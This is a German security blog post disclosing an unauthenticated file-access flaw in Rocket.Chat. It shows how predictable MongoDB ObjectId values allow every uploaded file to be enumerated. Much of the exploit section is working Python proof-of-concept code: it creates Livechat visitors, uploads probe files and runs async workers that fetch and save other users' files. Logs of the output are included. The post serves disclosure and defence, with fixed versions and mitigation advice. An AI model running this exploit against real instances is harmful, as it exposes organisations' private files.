Anwendungen, die MongoDB nutzen, haben die gängige Schwachstelle, die ObjectId() Funktion als kryptografisch sicher zu behandeln. Kürzlich haben wir festgestellt, Rocket.Chat, eine Open-Source-Anwendung ähnlich Slack, war davon betroffen. Bei Aikido führen wir AI Pentests auf verschiedenen Open-Source-Anwendungen, um unsere Agents zu testen und ihre Stärken und Verbesserungspunkte zu identifizieren. Während des Pentests meldete einer der Agents, dass ein nicht authentifizierter Rocket.Chat-Benutzer auf jede hochgeladene Datei zugreifen kann, wenn er deren ID kennt. Die ID wird mit MongoDBs ObjectId() auf den ersten Blick zufällig aussieht, aber bei genauerer Betrachtung sind sie alles andere als das!
In diesem Beitrag werden wir demonstrieren, wie ein Angreifer kontinuierlich alle generierten gültigen IDs abrufen kann. Wir beschreiben einen Angriff, der die aktuelle ID abfragt, um alle anderen von der Anwendung generierten IDs vorherzusagen. Dies wird durch das Erfassen jeder hochgeladenen Datei in einer Rocket.Chat-Instanz gezeigt. Der Angriff könnte über Rocket.Chat hinaus auf verschiedene Anwendungen angewendet werden, die MongoDB mit denselben Primitiven verwenden.
Wir haben das Problem in Rocket.Chat am 21. April über HackerOne gefunden und gemeldet (jetzt öffentlich bekannt: #3687142). Stand 12. Juni wurde es in den Versionen 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 und 7.10.13 behoben. Wenn Sie oder Ihre Organisation eine Rocket.Chat-Instanz hosten, aktualisieren Sie so schnell wie möglich auf eine dieser Versionen oder neuere, falls Sie dies noch nicht getan haben. Da es sich um einen nicht authentifizierten Exploit handelt, kann jeder mit Netzwerkzugriff diesen ausnutzen.
Die Schwachstelle
Bevor wir uns mit der Exploit-Technik befassen, möchte ich näher erläutern, wie Rocket.Chat funktioniert.
Der Hauptanwendungsfall von Rocket.Chat ist die Kommunikation mit Ihrer Organisation und Ihrem Team. Konversationen sind in konfigurierbare Kanäle aufgeteilt, und Benutzer können zusätzlich zum Chat Dateien teilen. Um die nicht authentifizierte Angriffsfläche zu verstehen, können sich Benutzer in der Standardkonfiguration nicht selbst registrieren, und zum Öffnen der App ist eine Anmeldung erforderlich.

Es gibt auch eine optionale Komponente namens Livechat, der im Wesentlichen ein nicht authentifizierter Helpdesk-Chat ist. Obwohl er optional ist, ist er standardmäßig aktiviert, aber er ist nicht sichtbar, es sei denn, man navigiert direkt zu /livechat:

Livechat ermöglicht es Benutzern, eine einfache Textnachricht an den Helpdesk zu senden. Zusätzlich gibt es für dieses Widget eine Dateiupload-Unterstützung, aber die Eingabe ist standardmäßig deaktiviert (daher im obigen Screenshot nicht sichtbar). Dennoch bleibt der API-Endpunkt für das Hochladen von Dateien ohne Authentifizierung zugänglich. Dies ist das Hauptprimitiv, das wir in unserem späteren Exploit verwenden werden.
Dateien, die in einer dieser Funktionen (authentifizierte Kanäle & nicht authentifizierter Livechat) hochgeladen werden, werden am selben Ort gespeichert: /file-upload/{fileId}. Dies führt zu Komplikationen in der Autorisierungslogik. Könnten wir etwas im Livechat missbrauchen, um echte Kanal-Uploads zu lesen?
Einer der Agenten bemerkte etwas Besonderes in FileUpload.ts. Es gibt zwei verschiedene Wege, die Room ID einer Datei zu definieren. Erstens erfolgt die Autorisierung durch requestCanAccessFiles welche liest rc_rid (rid = Room ID) aus dem Query String.
async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
const { query } = URL.parse(url, true);
let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
...
const isAuthorizedByRoom = async () =>
rc_room_type &&
roomCoordinator
.getRoomDirectives(rc_room_type)
.canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });Der gegebene rc_rid wird übergeben an canAccessUploadedFile zusammen mit dem rc_token Parameter, um zu überprüfen, ob Sie Zugriff auf diesen Raum haben und die Datei lesen können sollten:
async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},Zweitens gibt es den Aufruf an FileUpload.requestCanAccessFiles, welcher die Datei aus dem /file-upload/{fileId}/… Pfad holt und sie direkt in der Datenbank nachschlägt:
WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');
if (match?.[1]) {
const file = await Uploads.findOneById(match[1]);
if (file) {
if (!(await FileUpload.requestCanAccessFiles(req, file))) {Dies Datei hat auch eine rid (Room ID), die sich von der angegebenen rc_rid in der URL unterscheiden kann. Was würde passieren, wenn sie nicht übereinstimmen?
Die Antwort ist eine große Schwachstelle. Rocket.Chat überprüft nicht, ob die angeforderte Datei sich in dem Raum befindet, für den der Zugriff verifiziert wird. Das bedeutet, Sie können einen beliebigen gültigen Dummy-Raum angeben und dann eine beliebige fileId im Path Parameter angeben, um dessen Inhalt zu erhalten.
Sehen wir es uns in der Praxis an. Zuerst laden wir als Opfer eine beliebige Datei in einen Kanal hoch. Im folgenden Screenshot hat der Admin-Benutzer hochgeladen file.txt:

Anschließend kopieren Sie den Link zur Datei, wie:https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Ein naiver Besuch der URL in einem Inkognito-Tab führt zu einem 403-Fehler, was auf eine private Ressource hindeutet. Nun wollen wir sehen, ob wir sie mithilfe der Livechat-Funktionalität leaken können.
Nehmen Sie den fileId Teil 6a325394876fbe9c70b1b03f, und fordern wir dieselbe URL mit einem beliebigen anonymen Livechat-Raumbenutzer an. Wir können eine Session erstellen, indem wir uns zuerst als „Besucher“ mit einem beliebigen Token-Wert registrieren und dann unsere Raum-ID anfordern. Mit dieser gültigen Raum-ID können wir, falls unser Exploit funktioniert, jede Datei abrufen, wenn wir nur ihre fileId. Da keine Überprüfung stattfindet, die den tatsächlichen Raum der Datei mit unserem temporären Raum vergleicht.
Wir werden Schritt für Schritt ein Python-Skript für unseren finalen Exploit entwickeln. Beginnend mit der Implementierung dieser Idee:
HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"
s = requests.Session()
token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor",
json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room",
params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}") # ceHsTjGSTfvAzWHk2
# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x",
params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text) # SUPER SECRET DATA
print(r.headers["Content-Disposition"]) # attachment; filename*=UTF-8''file.txtWir haben erfolgreich die SUPER SECRET DATA in file.txt! Wir erhalten auch den ursprünglichen Dateinamen im Content-Disposition: Header, was es einfacher macht, herauszufinden, was die Datei tatsächlich enthalten soll.
Ein cleverer Fund des Agenten, aber er basierte auf der Kenntnis des schwer zu erratenden fileId: 6a325394876fbe9c70b1b03f. Es sieht aus wie ein zufälliger Wert, bestehend aus 12 Bytes. Selbst bei einer Million Anfragen pro Sekunde würde es Tausende von Universumslebenszeiten dauern, bis man den ersten Treffer erwarten könnte. Nicht ganz realistisch.
Nach manueller Überprüfung weiterer Teile des Quellcodes der Anwendung fanden wir keine Möglichkeit, diese Datei-IDs direkt aus anderen Quellen zu leaken. Wie kommen wir zu einer gültigen ID?
Der erste Hinweis kommt von der Tatsache, dass diese ID von MongoDBs ObjectId() Funktion. „Wie hilft uns das?“, fragen Sie sich vielleicht.
MongoDB ObjectId()
Wie in der Dokumentation erläutert, setzt sich eine ObjectId zusammen aus:
- Ein 4-Byte-Zeitstempel, der die Erstellung der ObjectId darstellt, gemessen in Sekunden seit der Unix-Epoche.
- Ein 5-Byte-Zufallswert, der einmal pro clientseitigem Prozess generiert wird. Dieser Zufallswert ist für die Maschine und den Prozess einzigartig. Wenn der Prozess neu startet oder der primäre Knoten des Prozesses wechselt, wird dieser Wert neu generiert.
- Ein 3-Byte-inkrementierender Zähler pro clientseitigem Prozess, der mit einem Zufallswert initialisiert wird. Der Zähler wird zurückgesetzt, wenn ein Prozess neu startet.
Eine ID wie 6a325394876fbe9c70b1b03f lässt sich aufteilen in:

Es heißt auch:
> Bei Zeitstempel- und Zählerwerten erscheinen die höchstwertigen Bytes zuerst in der Byte-Sequenz (Big-Endian)
Unser Zeitstempel 6a325394 kann also in den 17. Juni 2026 um 9:58:12 Uhr dekodiert werden:
>>> from datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)
Der Zählerwert b1b03f ist ebenfalls ein Big-Endian-Integer. b1b03f + 1 wäre b1b040, die nächste ID. Dieser Zähler wird zufällig initialisiert und läuft bei ffffff zu 000000.
Es ist auch ziemlich offensichtlich, wenn wir jetzt zwei sequentielle Datei-IDs vergleichen. Sie sind alles andere als zufällig.
6a325394876fbe9c70b1b03f6a325a30876fbe9c70b1b048
Vollständig zufällige Vorhersage
Bei dieser geringen Entropie könnten Sie denken, dass wir die IDs einfach per Brute Force erraten können, bis wir zufällig auf eine existierende Datei stoßen. Während dies für den Zeitstempel größtenteils zutrifft (wir müssen nur die Sekunden der letzten Monate durchlaufen), kennen wir den 5-Byte-statischen Zufallswert nicht, und der Zähler wird ebenfalls zufällig initialisiert.
Allein der statische Zufallswert hat mehr als eine Billion Möglichkeiten (256^5). Bei einer Rate von 1000 Anfragen pro Sekunde würden Sie immer noch ~18 Jahre warten. Zu diesem Zeitpunkt wäre ich beeindruckt, wenn die Maschine Ihres Angreifers noch läuft.
Wir können davon ausgehen, dass dies unmöglich ist.
Vorhersage ausgehend von einem Ankerpunkt
Der bessere Ansatz hierfür ist, zu finden jegliche ObjectId() Output aus der Anwendung und dann zukünftige davon vorherzusagen. Ein „Ankerpunkt“. In Rocket.Chat gibt es zu unserem Glück eine sehr einfache Möglichkeit, dies mit der bereits verwendeten Livechat-Funktion zu tun. Wenn wir einfach eine Datei anonym hochladen, erhalten wir deren ID – das ist unser Sample.
r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}",
headers={"x-visitor-token": token},
files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}") # 6a325fbf876fbe9c70b1b053
Wir haben nun zwei erforderliche Primitive:
- Etwas, auf das wir keinen Zugriff haben sollten, ist zugänglich wenn wir dessen
ObjectId() - Wir haben eine Möglichkeit, zu generieren und unsere eigenen zu lesen
ObjectId()
Damit kommen wir deutlich weiter. Um von anderen Benutzern hochgeladene Dateien zu finden, müssen wir überlegen, was sich ändert: der Zeitstempel und der Zähler. Den Zeitstempel müssen wir in Sekunden bis zur gewünschten Zeit dekrementieren. Im Fall des Zählers wissen wir jedoch nicht genau, um wie viel wir ihn dekrementieren müssen, da andere Funktionen ObjectId()ebenso gut bestimmte Werte für die von uns gesuchten Datei-IDs überspringen können.
Indem wir einfach einige Bereiche erraten, können wir bereits recht erfolgreich sein:
# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")
# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
for c in range(counter - 20, counter):
t = timestamp - timedelta(seconds=delta) # Go backwards
# Create new potential ObjectId()
oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
if oid == probe_id:
continue # Skip our own file
# Try requesting it, if successful, print it
r = s.get(f"{HOST}/file-upload/{oid}/x",
params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
if r.ok:
tqdm.write(f"{oid}: {r.text!r}")
Wenn wir eine Datei in Rocket.Chat hochladen und das Skript kurz danach ausführen, entdeckt es die ID und ihre Daten (indem es die letzten 5 Minuten + die vorherigen 20 IDs im Zähler durchläuft). Unten ist ein Beispiel für den zu erwartenden Output:
probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'
6%|██▎ | 19/300 [00:09<02:36, 1.79it/s]
Obwohl für einen Proof of Concept praktikabel, werden Sie bei einem realistischen Angriff nicht genau wissen, wann ein Opfer seine Datei hochlädt. Eine reale Instanz kann auch wesentlich stärker ausgelastet sein als unsere lokale, wodurch viele ObjectId()IDs für andere Funktionen generiert werden, die die Datei-IDs verdrängen. Wir müssen schneller sein und einen Weg finden, um sicherzustellen, dass wir jede Datei-ID treffen, ohne Annahmen über den Zeitstempel oder den Zähler zu treffen.
Kontinuierliches Auffinden aller ObjectId()s
Ein großer Engpass ist derzeit, dass wir jede ID synchron und einzeln anfordern. Während wir auf eine Antwort vom Server warten, tun wir nichts. Indem wir den Code so umwandeln, dass er asynchron mit einer Bibliothek wie httpx, können wir mehrere Worker starten, die alle gleichzeitig Anfragen aus einer Warteschlange senden.
Wir extrahieren den Dateinamen aus dem Content-Disposition: Header und speichern die Datei gleichzeitig unter leaks/ lokal mit ihrem ursprünglichen Dateinamen.
async def get_token(client):
token = "x"
r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
r.raise_for_status()
r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
r.raise_for_status()
rid = r.json()["room"]["_id"]
return token, rid
async def oid_worker(client, i, queue, rid, token):
while True:
oid = await queue.get()
print(f"Worker {i} requesting {oid}")
r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
if r.status_code == 200:
filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
try:
content = r.text
except UnicodeDecodeError:
content = r.content
print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
f.write(r.content)
async def main():
queue = asyncio.Queue()
num_workers = 10
async with httpx.AsyncClient() as client:
token, rid = await get_token(client)
print(f"{rid=}")
print("Starting producer loop...")
producer_task = asyncio.create_task(oid_producer(client, queue, rid, token)) # We will implement the producer in a second
print(f"Starting {num_workers} workers...")
worker_tasks = [
asyncio.create_task(oid_worker(client, i, queue, rid, token))
for i in range(num_workers)
]
await asyncio.gather(producer_task, *worker_tasks)
if __name__ == "__main__":
asyncio.run(main())
Um sicherzustellen, dass wir jede existierende ID erfassen, können wir den Unterschied zwischen mehreren Probes nutzen. Wenn eine vorherige Probe den Zähler bei 100 sah und die nächste Probe etwas später (z. B. 10 Sekunden) ihn bei 122 sah, wissen wir, dass in dieser Zeit 22 IDs generiert wurden. Das Zeitstempelintervall ist ebenfalls sofort klar: 10 Sekunden. Wir können also so schnell wie möglich 10*22 IDs durchlaufen.
Danach können wir eine weitere Probe 10 Sekunden später senden, nehmen wir an, der Zähler steht dann bei 130. Vergleichen wir das mit der nun vorherigen Probe von 122, müssen wir erneut 8 Zählerwerte über 10 Sekunden hinweg versuchen.
Wir können diese Schleife fortsetzen, indem wir kontinuierlich in kurzen Intervallen Probes senden, um ID-Lücken zu erzeugen, und diese schnell mit asynchronen Workern abrufen.
Visualisiert funktioniert der Algorithmus etwa so: Anstatt einen gesamten Bereich von 9*26=234 IDs abzurufen, können wir Samples von der Anwendung erhalten, um die Rechtecke, die wir durchsuchen, zu verkleinern. Die Summe dieser kleineren Bereiche von 6+16+45 = 67 ist viel geringer als der naive volle Bereich.

Indem wir das Programm am Laufen halten und schnelle Anfragen senden, können wir garantieren, dass wir jede potenzielle Datei-ID erfassen.
In unserer Python-Implementierung ist dies nicht schwer umzusetzen. Wir müssen lediglich jede Probe-ID aufteilen, um ihren Zeitstempel und Zähler zu extrahieren, und diese mit dem vorherigen vergleichen.
Wenn wir clever sind, können wir unsere eigenen Probe-Zählerwerte in der Suche speichern und vermeiden, da dies niemals die geheimen Dateien sein werden, nach denen wir suchen. Ein Sonderfall, auf den man achten muss, ist, dass der Zähler von ffffff zu 000000 umschlägt, wenn er dieses Limit erreicht, daher müssen wir einen Modulo verwenden, um sicherzustellen, dass er innerhalb von 3 Bytes bleibt.
PRODUCER_INTERVAL = 10
def split_probe_id(probe_id):
timestamp = int(probe_id[0:8], 16)
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
return timestamp, random, counter
def mod_range(start, stop, modulus):
for i in range((stop - start) % modulus):
yield (start + i) % modulus
async def oid_producer(client, queue, rid, token):
prev_probe_id = await get_probe_id(client, rid, token)
probes = set([split_probe_id(prev_probe_id)[2]])
await asyncio.sleep(PRODUCER_INTERVAL)
while True:
probe_id = await get_probe_id(client, rid, token)
prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
timestamp, random, counter = split_probe_id(probe_id)
probes.add(counter)
i = 0
for t in range(prev_timestamp, timestamp):
for c in mod_range(prev_counter, counter, 0x1000000):
if c in probes:
continue # Skip our own files
oid = f"{t:08x}{random}{c:06x}"
await queue.put(oid)
i += 1
print(f"Produced {i} IDs")
prev_probe_id = probe_id
await asyncio.sleep(PRODUCER_INTERVAL)Wenn wir das Skript nun endlich ausführen, sehen wir auf unserer lokalen Instanz, dass es ziemlich ereignislos ist, solange nichts passiert. Wir überspringen unsere eigenen IDs, und der Unterschied zur vorherigen Probe beträgt nur 1. Sobald wir die Anwendung öffnen und eine Datei hochladen, wird diese innerhalb von 10 Sekunden vom Exploit-Skript erkannt und von einem Worker, der sie aufgegriffen hat, geleakt:
Produzentenschleife wird gestartet...
Starte 10 Worker...
Produziert 0 IDs
Produziert 0 IDs
...
Produziert 22 IDs
Worker 0 fordert 6a32774c876fbe9c70b1b112 an
Worker 1 fordert 6a32774c876fbe9c70b1b113 an
...
Worker 3 fordert 6a327754876fbe9c70b1b113 an
[LEAK] 6a32774e876fbe9c70b1b112: 'SUPER SECRET DATA'
Worker 5 fordert 6a327756876fbe9c70b1b113 an
Produziert 0 IDsErfolg! Während das Skript läuft, identifizieren und leaken wir nun jede hochgeladene Datei auf der Rocket.Chat-Instanz. Durch die Geschwindigkeitsverbesserungen kann die Instanz regelmäßig genutzt werden, ohne unser Skript stark zu unterbrechen. Und da es sich um eine Warteschlange handelt, wird es bei zu viel Arbeit schließlich aufholen, wenn weniger Aktivität herrscht. Beachten Sie, dass das derzeit verwendete 10-Sekunden-Intervall völlig willkürlich ist; je niedriger Sie es einstellen, desto kleiner werden die möglichen Bereiche, sodass Sie präzise erkennen, wann eine Datei hochgeladen wird. Sie können selbst das Gleichgewicht zwischen der Anzahl der Anfragen für Probing und der Anzahl der Anfragen für Brute-Force-Angriffe bestimmen.
Sehen Sie sich den Proof of Concept in diesem Video an:
Fazit
Rocket.Chat hat das Zugriffskontrollproblem behoben (#40889) indem man die Datei in canAccessUploadedFile(), und überprüft, ob die gewählte Datei mit der im Abfrageparameter angegebenen Raum-ID übereinstimmt.
Als allgemeine Richtlinie empfehlen wir für zufällige IDs, sich nicht auf ObjectId(), da sie fast so unsicher ist wie eine einfache inkrementelle ID. Als Defense in Depth verwenden Sie UUIDv4 für sichere Zufallsstrings, um sicherzustellen, dass selbst bei Zugriffssteuerungsfehlern ein Angreifer einen zweiten Schritt benötigt, um die IDs zu entdecken.
Obwohl unser Agent die IDOR-Schwachstelle erfolgreich gefunden hat, erwähnte er anfangs nicht die Vorhersagbarkeit von MongoDB ObjectId()s, da eine einzelne Stichprobe auf den ersten Blick zufällig aussieht. Mit den Änderungen, die wir nach dieser Untersuchung vorgenommen haben, untersuchen Agenten nun die Entropie solcher IDs, um die Wahrscheinlichkeit einer Ausnutzung in Berichten genauer zu erläutern.
Für Sicherheitsforscher und Pentester, die den Realismus ihrer IDOR PoCs verbessern möchten, wissen Sie nun, dass Sie MongoDB-IDs leicht vorhersagen können. Etwas, worauf Sie achten sollten, wenn Sie zwei IDs haben, die sich unheimlich ähnlich sehen.
Unser KI-Penetrationstests-Tool hat dies eigenständig entdeckt. Wenn Sie hochwertige, schnelle Penetrationstests für Ihre Anwendung wünschen, sehen Sie sich Aikidos Pentesting-Suite an.

